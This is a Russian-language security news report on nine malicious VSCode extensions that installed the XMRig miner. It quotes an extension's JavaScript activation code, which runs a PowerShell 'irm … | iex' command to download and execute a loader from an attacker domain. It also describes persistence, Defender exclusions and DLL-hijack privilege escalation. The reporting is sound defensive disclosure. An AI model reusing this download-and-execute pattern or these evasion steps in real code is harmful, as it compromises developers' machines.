Исследователь ExtensionTotal Ювал Ронен обнаружил девять расширений VSCode на Visual Studio Code Marketplace от Microsoft, которые выдают себя за легитимные инструменты разработки, но заражают пользователей криптомайнером XMRig для майнинга Ethereum и Monero.
Microsoft VSCode — популярный редактор кода, позволяющий пользователям устанавливать расширения для расширения функциональности программы. Эти расширения можно загрузить с онлайн-хаба для разработчиков VSCode Marketplace от Microsoft.
Имена вредоносных пакетов:
- Discord Rich Presence для VS Code (автор
Mark H
) — 189 тыс. установок; - Rojo — Roblox Studio Sync (автор
evaera
) — 117 тыс. установок; - Solidity Compiler (автор
VSCode Developer
) — 1,3 тыс. установок; - Claude AI (автор
Mark H
); - Golang Compiler (автор
Mark H
); - ChatGPT Agent для VSCode (автор
Mark H
); - HTML Obfuscator (автор
Mark H
); - Python Obfuscator для VSCode (автор
Mark H
); - Rust Compiler для VSCode (автор
Mark H
).
Таким образом, у расширений уже накопилось более 300 тысяч установок с 4 апреля. Эти цифры, вероятно, искусственно завышены, чтобы придать расширениям видимость легитимности и популярности.
После установки и активации они извлекают скрипт PowerShell из внешнего источника по адресу «https://asdf11[.]xyz/» и выполняют его. После завершения также устанавливается легитимное расширение, чтобы не вызвать подозрений у пользователя.
function activate(context) {
// Register the command to execute the PowerShell Loader and install the extension
let disposable = vscode.commands.registerCommand('hubtestmanagerex.runCmd', async function () {
if (process.platform === 'win32') {
const cmdCommand = 'powershell -Command "irm <https://asdf11.xyz/> | iex"';
potry {
// Execute the command to download and execution the PowerShell Loader
await executeCmdCommand(cmdCommand);
// After the PowerShell Loader has been executed, install the Solidity extension
const extensionId = 'icrawl.discord-vscode'; // The identifier for the Solidity extension
await installExtension(extensionId);
} catch (error) {
vscode.window.showErrorMessage(`Failed to execute command: ${error.message}`);
}
}
});
Вредоносный скрипт PowerShell выполняет несколько функций, таких как отключение защиты, установление персистентности, повышение привилегий и, в конечном итоге, загрузка криптомайнера.
Во-первых, он создаёт запланированную задачу, замаскированную под «OnedriveStartup», и внедряет скрипт в реестр Windows, чтобы гарантировать запуск вредоносного ПО (Launcher.exe) при запуске системы.
Затем он отключает критически важные службы Windows, такие как Windows Update и Update Medic, и добавляет свой рабочий каталог в список исключений Windows Defender, чтобы избежать обнаружения.
Если вредоносная программа не была запущена с правами администратора, она имитирует системный двоичный файл (ComputerDefaults.exe) и выполняет перехват DLL, используя вредоносный MLANG.dll для повышения привилегий и выполнения полезной нагрузки Launcher.exe.
Исполняемый файл, который поставляется в форме, закодированной в base64, декодируется скриптом PowerShell для подключения к вторичному серверу в myaunet[.]su для загрузки и запуска XMRig.
В BleepingComputer обнаружили, что на удалённом сервере злоумышленника также есть папка /npm/. Это потенциально указывает на то, что кампания активна и в этом индексе пакетов. Однако журналистам не удалось найти вредоносные файлы на платформе NPM.
Тем, кто установил такое расширение, следует немедленно удалить его, а затем вручную найти и удалить майнер монет, запланированные задачи, раздел реестра и каталог вредоносного ПО.
В BleepingComputer связались с Microsoft по поводу проблемных расширений, и компания заявила, что уже удалила их, а издатель был заблокирован в VS Marketplace.
О том, как хакеры используют функцию «туннелирование» в VSCode и что делать для выявления подобных действий с помощью R-Vision SIEM, можно прочитать здесь.